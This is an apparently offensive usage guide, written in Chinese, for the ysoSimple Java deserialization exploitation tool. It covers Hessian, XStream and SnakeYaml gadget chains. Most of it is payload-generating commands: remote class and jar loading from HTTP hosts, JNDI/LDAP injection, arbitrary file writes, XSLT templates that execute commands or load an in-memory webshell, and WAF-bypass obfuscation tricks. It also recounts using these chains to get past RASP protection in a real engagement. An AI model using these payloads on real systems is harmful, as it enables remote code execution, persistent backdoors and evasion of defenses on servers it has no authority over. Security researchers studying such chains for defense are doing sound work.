-m YsoAttack -g C3P03 -a "/TomcatBypass/auto_cmd/calc"
-m YsoAttack -g C3P03 -a "/TomcatBypass/auto_cmd/Y2FsYw=="
-m YsoAttack -g C3P03 -a "/TomcatJDBC/H2CreateAlias/auto_cmd/Y2FsYw=="
# c3p0:c3p0 不一定成功
-m YsoAttack -g C3P03_c3p0 -a "/TomcatBypass/auto_cmd/calc"
-m YsoAttack -g C3P03_c3p0 -a "/TomcatBypass/auto_cmd/Y2FsYw=="
-m YsoAttack -g C3P03_c3p0 -a "/TomcatJDBC/H2CreateAlias/auto_cmd/Y2FsYw=="描述:Java反序列化中直接写文件的利用链,主要的功能如下:
- 将任意文件复制到任意目录(如果可能,源文件会被删除),实战中不推荐使用。
- commons-fileupload 1.3.1之前版本(+ 旧JRE):将数据写入指定目录中指定文件名的文件
- commons-fileupload 1.3.1+版本:将数据写入指定目录中文件名随机的文件
该漏洞利用链需要的依赖和版本:
- commons-fileupload : 1.3.x
- commons-io : 2.x
工具:yso利用参数
- copyAndDelete;sourceFile;destDir
- write;destDir;ascii-data
- writeB64;destDir;base64-data 写文件使用该配置
- writeOld;destFile;ascii-data
- writeOldB64;destFile;base64-data 适用于commons-fileupload 1.3.1之前版本(+ 旧JRE),不在版本范围内使用该漏洞利用链可报错出随机的文件名。
-m YsoAttack -g FileUpload1 -a "writeOldB64;/home/web/success.txt;c3VjY2Vzcw==" -encode="Hex"
-m YsoAttack -g FileUpload1 -a "writeOldB64;/home/web/success.txt;c3VjY2Vzcw==" -encode="Hex"实战应用:有次遇到个反序列化但是被上RASP了。目标很多反序列化利用链都用不了,经过反复测试发现存在FileUpload1可以利用,目标还有个特点是如果反序列化产生报错会产生报错信息和调用栈
- 目标也不是jdk低版本所以用 FileUpload1 的 writeOldB64;destFile;base64-data 序列化数据打过去造成报错,得出随机文件名。后续我们正确利用链打过去生成的文件名就是在报错调用栈得出的文件名,最后一位阿拉伯数的变化。upload_d43417ce_5c03_4489_b9a0_ca77d7af2f09_00000000
-g FileUpload1 -a "writeB64;/home/web/success.txt;c3VjY2Vzcw==" -encode="Hex"- 使用正确的写文件利用链打过去
-m YsoAttack -g FileUpload1 -a "writeB64;/home/web/success.txt;c3VjY2Vzcw==" -encode="Hex"观察这个生成upload_d43417ce_5c03_4489_b9a0_ca77d7af2f09_00000003.tmp文件,就是上面那个报错产生的文件最后一位变化了,所以实战中我们要访问到这个随机文件,fuzz最后一位就行:
Hessian本身涉及多个系列(如下):Hessian的版本在黑名单有区别,然后Hessian1和Hessian2的序列化机制略微有所区别。Hessian1是指Cacuho Hessian组件中的HessianInput和HessianOutput用的序列化机制,所以针对目标环境攻击时候要分清楚到底是Hessian1还是Hessian2,以构造不同的EXP。
- caucho-hessian1(hessian)https://mvnrepository.com/artifact/com.caucho/hessian
- caucho-hessian2(hessian2)https://mvnrepository.com/artifact/com.caucho/hessian
- sofa-hessian(sofahessian)https://mvnrepository.com/artifact/com.alipay.sofa/hessian
- hessian-lite(hessianlite)https://mvnrepository.com/artifact/com.alibaba/hessian-lite
我当时学Hessian是跟着Longofo师傅的Hessian 反序列化及相关利用链文章学习的。
版本hessian-4.0.66在 com.caucho.hessian.io.ClassFactory#isAllow(java.lang.String) 下断点看看都拦截了哪些类:默认的_allowList为空,所以只会进行一层_staticDenyList的判断,后面俩个名单的判断不进行,黑名单类如下:
sofa-hessian(sofahessian)https://mvnrepository.com/artifact/com.alipay.sofa/hessian
hessian-lite(hessianlite)https://mvnrepository.com/artifact/com.alibaba/hessian-lite
- 黑名单:https://github.com/apache/dubbo-hessian-lite/blob/master/hessian-lite/src/main/resources/DENY_CLASS
HessianAttack模块设定的额外参数:
- hessianType:指定Hessian序列化的版本,参数为Hessian1或Hessian2
- hessianExcept:用于构造Hessian Except toString利用链
- utf8-bytes-mix:使用UTF-8 Overlong Encoding混淆序列化数据
- dirt-data-length:在序列化内容增加脏数据
- encode:序列化数据进行编码输出,Base64/Hex编码
- writeToFile:将最终生成的内容写入到文件
描述:Hessian分为Hessian1和Hessian2,俩种序列化和反序列化协议有所差别
工具:-hessianType后面跟Hessian1或者Hessian2
-m HessianAttack -g HashMapLazyValue -a "SwingLazyValue:jndi:ldap://127.0.0.1:1389" -hessianType "Hessian1"
-m HessianAttack -g HashMapLazyValue -a "SwingLazyValue:jndi:ldap://127.0.0.1:1389" -hessianType "Hessian2"描述:Hessian Except toString利用链构造,在利用链序列化数据前面加67。Caucho Hessian1的except方法中没有触发Object的toString,所以它不存在Hessian Except toString打法。关于Hessian Except的利用链原理可以学习Apache Dubbo Hessian2 异常处理时反序列化(CVE-2021-43297)
工具:-hessianExcept参数后面无参数值
-m HessianAttack -g HashMapLazyValue -a "SwingLazyValue:jndi:ldap://127.0.0.1:1389" -hessianType "Hessian2" -hessianExcept描述:Hessian序列化可使用UTF8-Overlong Encoding绕WAF,学习自:Hessian UTF-8 Overlong Encoding
工具:-utf8-bytes-mix参数后面无数据,
-m HessianAttack -g HashMapLazyValue -a "SwingLazyValue:jndi:ldap://127.0.0.1:1389" -hessianType "Hessian1" -utf8-bytes-mix
-m HessianAttack -g HashMapLazyValue -a "SwingLazyValue:jndi:ldap://127.0.0.1:1389" -hessianType "Hessian2" -utf8-bytes-mix描述:Hessian序列化增加脏数据来绕WAF
工具:dirt-data-length参数后面是脏数据的数量
-m HessianAttack -g HashMapLazyValue -a "SwingLazyValue:jndi:ldap://127.0.0.1:1389" -hessianType "Hessian1" -dirt-data-length 1000
-m HessianAttack -g HashMapLazyValue -a "SwingLazyValue:jndi:ldap://127.0.0.1:1389" -hessianType "Hessian2" -dirt-data-length 1000描述:将序列化后的数据写入到文件
工具:-writeToFile参数后面追加文件名
-m HessianAttack -g HashMapLazyValue -a "SwingLazyValue:jndi:ldap://127.0.0.1:1389" -hessianType="Hessian2" -writeToFile="/tmp/hessian.ser"描述:利用Rome2利用链打Java反序列化
工具:-a后面的参数部分跟着Java的序列化利用链配置。
-m HessianAttack -g Rome2 -a "CommonsCollections6:raw_cmd:calc" -hessianType="Hessian2"描述:利用Resin利用链进行远程类远程RCE
工具:URLClassLoader远程类加载,前面是远程类加载的类名,后面是地址(http后面不能少反斜杠/
-m HessianAttack -g Resin -a "EvilCalcClass:http://127.0.0.1:8099/" -hessianType="Hessian2"Hessian LazyValue的利用链学习自Apache Dubbo Hessian2 异常处理时反序列化(CVE-2021-43297),通过Hessian在反序列化处理时遇到畸形的流会触发某个类toString方法。通常来说toString方法又可以触发一些类的getter方法从而导致恶意利用。
但是因为Hessian的反序列化特性中可以用HashMap来触发某个类的getter方法所以自然省略了中间构造toString利用类的步骤,通过getter方法来漏洞利用。最好用的就是UIDefaults#get(Object key),所以本部分就是LazyValue链相关的利用手法。
漏洞调用栈基本如下:UIDefaults#get 可触发 SwingLazyValue和ProxyLazy的createValue方法
HashMap#readObject
-HashTable#equals (HashTable是UIDefaults的父类)
-UIDefaults#get(Object key)
-UIDefaults$ProxyLazyValue#createValue(UIDefaults var1)
-SwingLazyValue#createValue(UIDefaults var1)为什么要用SwingLazyValue#createValue,因为该方法封装反射的API。但是该createValue方法调用反射有如下的限制:
SwingLazyValue#createValue(UIDefaults var1)
- Class.forName(this.className,true,(ClassLoader)null) 只会获取 rt.jar 包中的类对象
- var6.invoke(var2,this.args) 可以反射调用 rt.jar 包中类的静态方法
- var4.newInstance(this.args) 可以反射调用 rt.jar 包中类的构造方法
Class<?> forName(String name, boolean initialize,ClassLoader loader) 的第三个参数是加载类所用的 ClassLoader,如果这个类不在该 ClassLoader 的 ClassPath 下,这样是获得不到该类的类对象的。当 loader 参数为 null 时,表示加载 BootStrapClassloader 的 ClassPath 下的类,相关的研究可以参考类加载之forName作用域。
虽然只能加载 BootStrapClassLoader 加载的对象,但是可以通过 SwingLazyValue + MethodUtil 绕过限制,但是这俩者的组合有不稳定的情况,一般不推荐使用。
bounce.invoke 中的 bounce Method对象来自于 getTrampoline(),该方法返回的是 sun.reflect.misc.Trampoline类的 invoke 方法对应的 Method
private static final Method bounce = getTrampoline();
private static Method getTrampoline() {
try {
return (Method)AccessController.doPrivileged(new PrivilegedExceptionAction<Method>() {
public Method run() throws Exception {
Class var1 = MethodUtil.getTrampolineClass(); //获取 sun.reflect.misc.Trampoline 对象
Class[] var2 = new Class[]{Method.class, Object.class, Object[].class};
Method var3 = var1.getDeclaredMethod("invoke", var2);
var3.setAccessible(true);
return var3;
}
});
} catch (Exception var1) {
throw new InternalError("bouncer cannot be found", var1);
}
}然后sun.reflect.misc.Trampoline#invoke方法就是个简单的 invoke 操作。没有调用Method.setAccessible(true)来取消 Java 语言的访问检查,所以我们只能调用某个类的 public 方法。所以说MethodUtils#invoke本质还是使用Trampoline#invoke进行反射调用。
private static Object invoke(Method var0, Object var1, Object[] var2) throws InvocationTargetException, IllegalAccessException {
ensureInvocableMethod(var0);
return var0.invoke(var1, var2);
}ProxyLazyValue 是 UIDefaults 的静态内部类
ProxyLazyValue#createValue使用起来就要方便很多:
Class.forName(className, true, (ClassLoader)cl) 可以加载当前线程上下文classpath中的类MethodUtil#invoke(m,c,args) 调用某个类的 public static 方法constructor#newInstance(args) 调用某个类的 public 构造方法
描述:java.lang.Thread的静态方法sleep可以触发延迟效果,虽然java.lang.Thread的黑名单中,但是SwingLazyValue和ProxyLazyValue的createValue方法反射机制来触发所以不受这个影响。但是因为sleep方法接受的参数是long类型,hessian无法传递这种类型,所以也是无法构造该payload。但还是可以用LazyValue+MethodUtil来触发Thread Sleep。
工具:工具中虽然写了,但是无法利用、、
-m HessianAttack -g HashMapLazyValue -a "SwingLazyValue:ThreadSleep:5" -hessianType "Hessian2"
-m HessianAttack -g HashMapLazyValue -a "ProxyLazyValue:ThreadSleep:5" -hessianType "Hessian2"描述:通过java.net.InetAddress的getByName方法来触发DNS请求以此来探测目标环境是否DNS出网
限制:Hessian版本限制如下:
- caucho hessian <= 4.0.66
- sofa hessian <= 4.0.4
- hessian little <= 3.2.11
工具:
-m HessianAttack -g HashMapLazyValue -a "SwingLazyValue:InetAddress:success.dns.cn" -hessianType "Hessian1"
-m HessianAttack -g HashMapLazyValue -a "ProxyLazyValue:InetAddress:success.dns.cn" -hessianType "Hessian2"描述:虽然java.lang.System处于caucho hessian最新版的黑名单中,但是JDK系统属性设置是由SwingLazyValue和ProxyLazyValue的createValue方法反射机制来触发所以不受这个影响
限制:Hessian版本限制如下:
- caucho hessian <= 4.0.66
- sofa hessian <= 4.0.4
- hessian little <= 3.2.11
工具:
-m HessianAttack -g HashMapLazyValue -a "SwingLazyValue:SetProperty:custom.property:success" -hessianType "Hessian1"
-m HessianAttack -g HashMapLazyValue -a "ProxyLazyValue:SetProperty:custom.property:success" -hessianType "Hessian2"描述:虽然javax.naming.x处于caucho hessian最新版的黑名单中,但是JNDI注入是由SwingLazyValue和ProxyLazyValue的createValue方法反射机制来触发所以不受这个影响,调用栈如下:
HashMap#readObject
-HashMap#put
-HashMap#equals
-HashTable#get()
-UIDefaults#get(Object key)
-UIDefaults#getFromHashtable(final Object key)
-UIDefaults$LazyValue#createValue(UIDefaults var1)
-SwingLazyValue#createValue(UIDefaults var1)
-ProxyLazyValue#createValue(UIDefaults var1)限制:Hessian版本限制如下
- caucho hessian <= 4.0.66
- sofa hessian <= 4.0.4
- hessian little <= 3.2.11
工具:
-m HessianAttack -g HashMapLazyValue -a "SwingLazyValue:jndi:ldap://127.0.0.1:1389/swingLazyValue" -hessianType="Hessian2"
-m HessianAttack -g HashMapLazyValue -a "ProxyLazyValue:jndi:ldap://127.0.0.1:1389/proxyLazyValue" -hessianType="Hessian2"描述:com.sun.org.apache.bcel.internal.util.JavaWrapper的_main公开静态方法中会使用BCELCLassLoader来加载BCEL字节码并执行字节码类的public static void _main(String[] args)方法
限制:Hessian版本限制如下:
- caucho hessian <= 4.0.66
- sofa hessian <= 4.0.4
- hessian little <= 3.2.11
JDK BCELClassLoader <= 8u251
BCEL字节码的类需要这样写才能触发
import java.io.IOException;
public class JavaWrapperMainPayload {
public static void _main(String[] args){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}使用方式:
-m HessianAttack -g HashMapLazyValue -a "SwingLazyValue:BCELLoader:auto_cmd:calc" -hessianType "Hessian1"
-m HessianAttack -g HashMapLazyValue -a "SwingLazyValue:BCELLoader:auto_cmd:calc" -hessianType "Hessian2"这里的auto_cmd参数可以替换为字节码执行的多种漏洞利用效果参数。
描述:com.sun.org.apache.xalan.internal.xslt.Process的_main方法可以执行XSTL文件并进行代码执行,学习自记一次曲折的XXL-JOB API Hessian反序列化到Getshell和JDK Xalan的XSLT整数截断漏洞利用构造
工具:接受目标系统中的文件路径然后触发XSTL文件加载
-m HessianAttack -g HashMapLazyValue -a "SwingLazyValue:XSTL:/tmp/1.xstl" -hessianType "Hessian1"
-m HessianAttack -g HashMapLazyValue -a "ProxyLazyValue:XSTL:/tmp/1.xstl" -hessianType "Hessian2"xstl文件命令执行
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>xstl文件加载内存马,下面用org.springframework.cglib.core.ReflectUtils加载字节码,依赖于ReflectUtils类的反射,后面可以抽时间优化下
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:b64="http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
xmlns:th="http://xml.apache.org/xalan/java/java.lang.Thread"
xmlns:ru="http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils"
>
<xsl:template match="/">
<xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'base64')"/>
<xsl:variable name="cl" select="th:getContextClassLoader(th:currentThread())"/>
<xsl:variable name="rce" select="ru:defineClass('classname',$bs,$cl)"/>
<xsl:value-of select="$rce"/>
</xsl:template>
</xsl:stylesheet>
描述:sun.reflect.misc.MethodUtil的invoke也是个public static静态方法,它能调用某个对象的方法。因此很容易想到调用Runtime来进行命令执行。但是在对MethodUtil#invoke方法进行传参的时候又需要传递java.lang.Runtime对象,所以在Hessian系列的一些版本中又是打不了的。
限制:对Hessian版本限制如下:
- caucho hessian <= 4.0.59
- sofa hessian <= 4.0.4
- hessian little 都打不了
另外SwingLazyValue/ProxyLazyValue+MethodUtil 构造利用可能触发JVM Crash或打不了情况,所以不是很推荐使用
工具:链子的命令执行传参没有进行
#SwingLazyValue在ysoSimple中测试成功,本地SpringBoot环境失败(可能触发JVM Crash或打不了)
-m HessianAttack -g HashMapLazyValue -a "SwingLazyValue:RuntimeExec:calc" -hessianType "Hessian2"
#ProxyLazyValue在ysoSimple中测试成功,本地SpringBoot环境失败(可能触发JVM Crash或打不了)
-m HessianAttack -g HashMapLazyValue -a "ProxyLazyValue:RuntimeExec:calc" -hessianType "Hessian2"描述:通过JSONObject的#toString来触发后续利用:https://flowerwind.github.io/2023/04/17/%E8%AE%B0%E6%9F%90%E6%AC%A1%E5%AE%9E%E6%88%98hessian%E4%B8%8D%E5%87%BA%E7%BD%91%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8-md/
JSON.pase也行,打fastjson反序列化
描述:com.sun.org.apache.xml.internal.security.utils.JavaUtils类的public static静态方法writeBytesToFilename可以传入的文件名和字节数组进行写文件操作,且JavaUtils类位于rt.jar包中方便利用
说明:Hessian版本限制如下:
- caucho hessian <= 4.0.66
- sofa hessian <= 4.0.4
- hessian little <= 3.2.11
另外JavaUtils的writeBytesToFilename是使用new File()+new FileOutputStream()来写入文件,所以需要写入文件的目录存在
工具:最后写文件的格式为:JavaUtils:{source.file}|{destation.file},工具会读取source.file也就是你本地这个文件的字节数组,然后最后写入的目标系统的文件名是destation.file。
-m HessianAttack -g HashMapLazyValue -a "SwingLazyValue:JavaUtils:D:\\source\\sour.txt|/tmp/dest.txt" -hessianType "Hessian1"
-m HessianAttack -g HashMapLazyValue -a "ProxyLazyValue:JavaUtils:D:\\source\\sour.txt|/tmp/dest.txt" -hessianType "Hessian2"组合利用:既然能写文件,那么操作手法就比较多了。X1r0z将JavaUtils#writeBytesToFilename写文件和System#load组合到一条链子一次性触发:
byte[] content = Files.readAllBytes(Paths.get("/Users/exp10it/exp.dylib"));
SwingLazyValue swingLazyValue1 = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/exp.dylib", content});
SwingLazyValue swingLazyValue2 = new SwingLazyValue("java.lang.System", "load", new Object[]{"/tmp/exp.dylib"});
UIDefaults u1 = new UIDefaults();
UIDefaults u2 = new UIDefaults();
u1.put("aaa", swingLazyValue1);
u2.put("aaa", swingLazyValue1);
HashMap map1 = HashColl.makeMap(u1, u2);
UIDefaults u3 = new UIDefaults();
UIDefaults u4 = new UIDefaults();
u3.put("bbb", swingLazyValue2);
u4.put("bbb", swingLazyValue2);
HashMap map2 = HashColl.makeMap(u3, u4);
HashMap map = new HashMap();
map.put(1, map1);
map.put(2, map2);其实用的比较多的还时写文件配置XSTL来进行代码执行。
描述:spring-core依赖中的org.springframework.util.SerializationUtils类有个deserialize静态方法,它能将字节数组进行Java反序列化
说明:Hessian版本限制如下:
- caucho hessian <= 4.0.66
- sofa hessian <= 4.0.4
- hessian little <= 3.2.11
另外还需要注意:
- 目标需要引入 spring-core.jar 的依赖
- 俩种利用方式:SwingLazyValue自身的反射利用由于类加载器的缘故只能加载rt.jar包下的类,需要搭配MethodUtil才能继续利用。ProxyLazyValue类加载器源自线程上下文所以没这个限制。
- SwingLazyValue+MethodUtil构造利用可能触发JVM Crash或打不了情况,ProxyLazyValue稳定
工具:推荐使用ProxyLazyValue构造方式,以下示例是使用CommonsBeanutils2二次Java反序列化,在其他的Java反序列化链以此类推
#SwingLazyValue在ysoSimple中测试成功,本地SpringBoot环境失败(可能触发JVM Crash或打不了)
-m HessianAttack -g HashMapLazyValue -a "SwingLazyValue:SpringCoreDeserialize:CommonsBeanutils2:Templateslmpl:auto_cmd:calc" -hessianType "Hessian1"
#ProxyLazyValue测试通过
-m HessianAttack -g HashMapLazyValue -a "ProxyLazyValue:SpringCoreDeserialize:CommonsBeanutils2:Templateslmpl:auto_cmd:calc" -hessianType "Hessian2"描述:commons-lang依赖中的org.apache.commons.lang.SerializationUtils类有个deserialize静态方法,它能将字节数组进行Java反序列化
说明:Hessian版本限制如下:
- caucho hessian <= 4.0.66
- sofa hessian <= 4.0.4
- hessian little <= 3.2.11
另外还需要注意:
- 目标需引入 commons-lang.jar 的依赖
- 俩种利用方式:SwingLazyValue自身的反射利用由于类加载器的缘故只能加载rt.jar包下的类,需要搭配MethodUtil才能继续利用。ProxyLazyValue类加载器源自线程上下文所以没这个限制。
- SwingLazyValue+MethodUtil构造利用可能触发JVM Crash或打不了情况,ProxyLazyValue稳定
工具:推荐使用ProxyLazyValue构造方式,以下示例是使用CommonsBeanutils2二次Java反序列化,在其他的Java反序列化链以此类推
#SwingLazyValue在ysoSimple中测试成功,本地SpringBoot环境失败(可能触发JVM Crash或打不了)
-m HessianAttack -g HashMapLazyValue -a "SwingLazyValue:CommonsLangDeserialize:CommonsBeanutils2:Templateslmpl:auto_cmd:calc" -hessianType="Hessian2"
#ProxyLazyValue测试通过
-m HessianAttack -g HashMapLazyValue -a "ProxyLazyValue:CommonsLangDeserialize:CommonsBeanutils2:Templateslmpl:auto_cmd:calc" -hessianType="Hessian2"描述:因为ProxyLazyValue进行类加载的加载器是线程上下文类加载器,在某些场景下如果能在上下文类加载器的classpath下写.class文件就可以直接利用ProxyLazyValue进行类加载导致代码执行。强推学习huahua大师傅的记某次实战hessian不出网反序列化利用
说明:Hessian版本限制如下:
- caucho hessian <= 4.0.66
- sofa hessian <= 4.0.4
- hessian little <= 3.2.11
工具:只支持ProxyLazyValue构造方式,因为它用的是线程上下文类加载器
-m HessianAttack -g HashMapLazyValue -a "ProxyLazyValue:ThreadClassLoader:T34403237892999" -hessianType="Hessian2" -writeToFile="/tmp/1.ser"
需要搭配写文件漏洞将字节码class文件写在线程上下文类加载器加载的classpath下面:本地测试只能触发一次,所以想变换漏洞利用效果需要重新写并加载
线程上下文类加载器classpath的位置:
- springboot场景下:
- Windows:C:\Users\Xxxx\AppData\Local\Temp\tomcat-docbase.3584977337134953447.9124\WEB-INF\classes\Evil.class
- Linux:/tmp/tomcat-docbase.3584977337134953447.9124/WEB-INF/classes/Evil.class
- tomcat场景下:
- {tomcat.home}/webapps/wuxdiXxxcms/WEB-INF/classes/Evil.class
UnSafe-探寻Hessian JDK原生反序列化不出网的任意代码执行利用链
构造SwingLazyValue+MethodUtil进行漏洞利用时,会出现打不了的情况,也会有JVM直接crash。使用ProxyLayzValue+MethodUtil也会有这样的问题。学习的时候X1r0z也遇到了这样的情况:
最终whwlsfb大师傅发现在ProxyLazyValue/SwingLazyValue+MethodUtil中不稳定的原因是MethodUtil的问题:
其实总结下来就是如下表格的情况:
| 利用方式 | 静态方法 | 实例化方法 | 最终的风险性 |
|---|---|---|---|
| ProxyLazyValue | 无限制包的静态方法 | 无法触发 | 稳定 |
| SwingLazyValue | 仅触发rt.jar中的静态方法 | 无法触发 | 稳定 |
| ProxyLazyValue+MethodUtil | 无限制包的静态方法 | 可以触发 | 静态方法稳定 实例方法不稳定(可能出现JVM Crash或打不了) |
| SwingLazyValue+MethodUtil | 无限制包的静态方法 | 可以触发 | 静态方法不稳定(可能出现JVM Crash或打不了) 实例方法不稳定(可能出现JVM Crash或打不了) |
这部分的学习起源于Longofo师傅的这篇博文:Apache Dubbo Hessian2 异常处理时反序列化(CVE-2021-43297),主要就是因为Hessian反序列化时候对序列化字节数组异常的处理有问题。导致攻击者可通过构造特的字节数组(67)来触发反序列化出对象的toString方法从而进行后利用。
Hessian Except toString打法主要是Hessian2Input#expect方法中的异常处理利用,这块简单介绍各种Hessian系列中的except方法
Caucho Hessian1的except方法中没有触发Object的toString,所以它不存在Hessian Except toString打法
Hessian2Input#except方法中存在反序列对象触发toString,所以目前最新版4.0.66的Caucho Hessian2也可以打Hessian Except toString
Sofa Hessian最新版4.0.4中存在反序列化的obj对象触发toString的情况
HessianLite 3.2.11版本的Hessian2Input#except方法中存在反序列化的obj对象触发toString的情况
在HessianLite 3.2.12版本中except方法已经修复了该问题
并且在上面讲黑名单的时候也提到过HessianLite自3.2.12开始已经将javax.swing.*包下的类都加入到黑名单中,所以javax.swing.UIDefaults的相关攻击链都不能进行利用。
通过前辈们的分享有以下俩个jdk自带的类,它们的toString方法可以触发UIDefaults#get的利用:
- PKCS9Attributes#toString:触发SwingLazyValue#createValue
PKCS9Attributes#toString()
-PKCS9Attributes#getAttribute(ObjectIdentifier var1)
-HashTable#get()
-UIDefaults#get(Object key)
-UIDefaults#getFromHashtable(final Object key)
-UIDefaults$ProxyLazyValue#createValue(UIDefaults var1)
-SwingLazyValue#createValue(UIDefaults var1)- MimeTypeParameterList#toString:和PKCS9Attributes功能类似,都可以触发 UIDefaults#get(Object key) 后续的调用链
MimeTypeParameterList#toString()
-HashTable#get()
-UIDefaults#get(Object key)
-UIDefaults#getFromHashtable(final Object key)
-UIDefaults$ProxyLazyValue#createValue(UIDefaults var1)
-SwingLazyValue#createValue(UIDefaults var1)但是这种打法不如Hessian反序列化触发HashMap的readObject然后引发UIDefaults#get(Object key)来的直接,所以目前还没集成
在一些CTF和文章中学到关于Hessian还有其他的链子,这里收集下:
https://quick-mascara-699.notion.site/Syclover-SUCTF-WP-177370c566a481ff9a01ebed7f0c87f8
XStreamAttack模块支持以下额外的参数:
- writeToFile:将生成的Payload写入到文件中
描述:将XStream的Payload写入到文件中
工具:writeToFile参数后面追加文件名
-m XStreamAttack -g FindClassByBomb -a "java.lang.String|28" -writeToFile "/tmp/xstream.xml"描述:生成XStream延迟Payload,无论有漏洞还是无漏洞的XStream版本组件都可以延迟,作用:
- 作用1:用于测试环境是否使用XStream组件
- 作用2:测试环境中是否有某个类(探测依赖)
工具:竖杠前面时类名,后面是反序列化的深度
-m XStreamAttack -g FindClassByBomb -a "java.lang.String|28"SnakeYamlAttack模块支持如下额外的参数:
- waf-bypass:三种绕WAF的方式:类名tag1变形,类名tag2变形,类名classNameURLEncode
- writeToFile:将生成的Payload写入到文件中
SnakeYaml系列的一些打法可以参考我写的这篇文章:2023 华北分区赛 normal_snake
描述:SnakeYaml支持将类名的格式变换,学习浅蓝师傅的SnakeYaml反序列化的一个小trick文章
工具:使用方式如下:
- 类名变换方式1:
!<tag:yaml.org,2002:com.sun.rowset.JdbcRowSetImpl>
-m SnakeYamlAttack -g JdbcRowSetImpl -a "ldap://127.0.0.1:1389/" -waf-bypass "tag1"- 类名变换方式2:
%TAG ! tag:yaml.org,2002:
-m SnakeYamlAttack -g JdbcRowSetImpl -a "ldap://127.0.0.1:1389/" -waf-bypass "tag2"- 类名URL编码:
-m SnakeYamlAttack -g JdbcRowSetImpl -a "ldap://127.0.0.1:1389/" -waf-bypass "classNameURLEncode"-
多种方式集合绕WAF,学习自:spel注入和snakeyaml反序列化waf bypass trick
-
双引号中可以使用unicode和hex编码
-
标签(也就是类名)的位置可以多一层url编码
-
通过标签的拼接避免
!!的使用以及拆分恶意类名,这个是SnakeYaml 反序列化的一个小 trick -
利用多个
java.lang.Character构造com.sun.xml.internal.fastinfoset.util.CharArray,再实例化java.lang.StringBuilder和java.lang.String,达到拆分字符串的效果。但是这种组合而成sequence不能用在key的位置(也就是属性名),只能用在具体属性值的地方,可以用来绕过一些对ldap://rmi://的检测。 -
一些waf的检测规则会指定不同字段之间顺序,可以使用yaml的alias和anchor功能(
&和*)来改变顺序。
工具:对于多种方式绕waf,目前ysoSimple工具集成前4个。MixObf模式适配Payload比较好的是下面四个。其余Payload适配的不太好,后面有时间再修改
-m SnakeYamlAttack -g JdbcRowSetImpl -a "ldap://127.0.0.1:1389/" -waf-bypass "MixObf"
-m SnakeYamlAttack -g C3P0_JNDI -a "ldap://127.0.0.1:1389/" -waf-bypass "MixObf"
-m SnakeYamlAttack -g C3P0_Yso -a "FastJson1:Templateslmpl:auto_cmd:calc" -waf-bypass "MixObf"描述:将生成的Payload写入到文件中
工具:writeToFile参数后的参数值是文件名
-m SnakeYamlAttack -g JdbcRowSetImpl -a "ldap://127.0.0.1:1389/" -writeToFile "/tmp/snakeyaml.txt"描述:在出网环境下探测Snakeyaml漏洞是否存在或者探测某个Gadgets是否存在。
工具:竖杠前面是类名,后面是dns域名
-m SnakeYamlAttack -g FindClassByDNS -a "java.lang.String|emdzjnwvao.zaza.eu.org"描述:使用JDK的JdbcRowSetImpl类来触发JNDI注入
工具:args参数中写jndi的地址
-m SnakeYamlAttack -g JdbcRowSetImpl -a "ldap://127.0.0.1:1389/"描述:使用JavaScript引擎来加载jar包来RCE,jar包的构造参考这个项目:https://github.com/artsploit/yaml-payload。该SPI攻击手法由于第一次加载后会将类加载到jvm中,所以有漏洞利用需求变化类字节码时要更改类名
工具:args参数中写加载jar包的地址。如果是远程加载jar包可以使用ThirdPartyAttack模块生成jarPayload然后开启监听,进行漏洞利用。如果是不出网环境想本地加载jar包,可以使用SnakeYaml的MarshalOutputStream链写文件然后在本地加载进行漏洞利用。
-m SnakeYamlAttack -g ScriptEngineManager -a "http://127.0.0.1:2333/yaml-payload.jar"
-m SnakeYamlAttack -g ScriptEngineManager -a "file:///success.jar"使用ThirdPartyAttack模块生成jarPayload:
-m ThirdPartyAttack -g CustomClass -a "auto_cmd:calc" -jarPayload "ScriptEngineFactory" -writeToFile "/tmp/"描述:SnakeYaml反序列化利用JndiRefForwardingDataSource类触发jndi注入
工具:args参数中写jndi的连接串
-m SnakeYamlAttack -g C3P0_JNDI -a "ldap://127.0.0.1:1389/"描述:在C3P0依赖中的com.mchange.v2.c3p0.WrapperConnectionPoolDataSource类在反序列化过程中会对userOverridesAsString属性值进行Java反序列化
工具:args参数中第一个值是反序列化利用链,后续跟利用链的漏洞利用参数
-m SnakeYamlAttack -g C3P0_Yso -a "FastJson1:Templateslmpl:auto_cmd:calc"描述:org.h2.jdbc.JdbcConnection的实例化方法接受jdbc url,然后在其实例化时会触发jdbc url连接,snakeyaml可利用其实例化进行攻击
工具:因为不同版本的H2-database数据库的org.h2.jdbc.JdbcConnection实例化方法参数不同,所以ysoSimple会生成俩条利用链
-m SnakeYamlAttack -g H2DataBase -a "H2CreateAlias:auto_cmd:calc"
-m SnakeYamlAttack -g H2DataBase -a "H2CreateAlias:springframework_echo:id"描述:该利用链学习参考:从HertzBeat聊聊SnakeYAML反序列化。MarshalOutputStream 利用链是条JDK写文件的利用链:
- 该Payload可以分为4层:三个构造方法和 java.util.zip.Inflater 的 setInput 方法
!!java.io.File写入文件的目录必须要存在!!binary的值是经过Inflater压缩后Base64编码后的内容
sun.rmi.server.MarshalOutputStream(OutputStream var1)
java.util.zip.InflaterOutputStream(OutputStream out, Inflater infl, int bufLen)
java.io.FileOutputStream(File file, boolean append)
java.util.zip.Inflater().setInput(byte[] b, int off, int len)
工具:最后写文件的格式为:{source.file}|{destation.file},工具会读取source.file也就是你本地这个文件的内容,然后写入目标系统的文件是destation.file。在目标是windows系统中工具的destation.file参数必须用\\来分割目录和文件,因为该利用链的Payload中文件路径在Windows系统中要用\\分割。
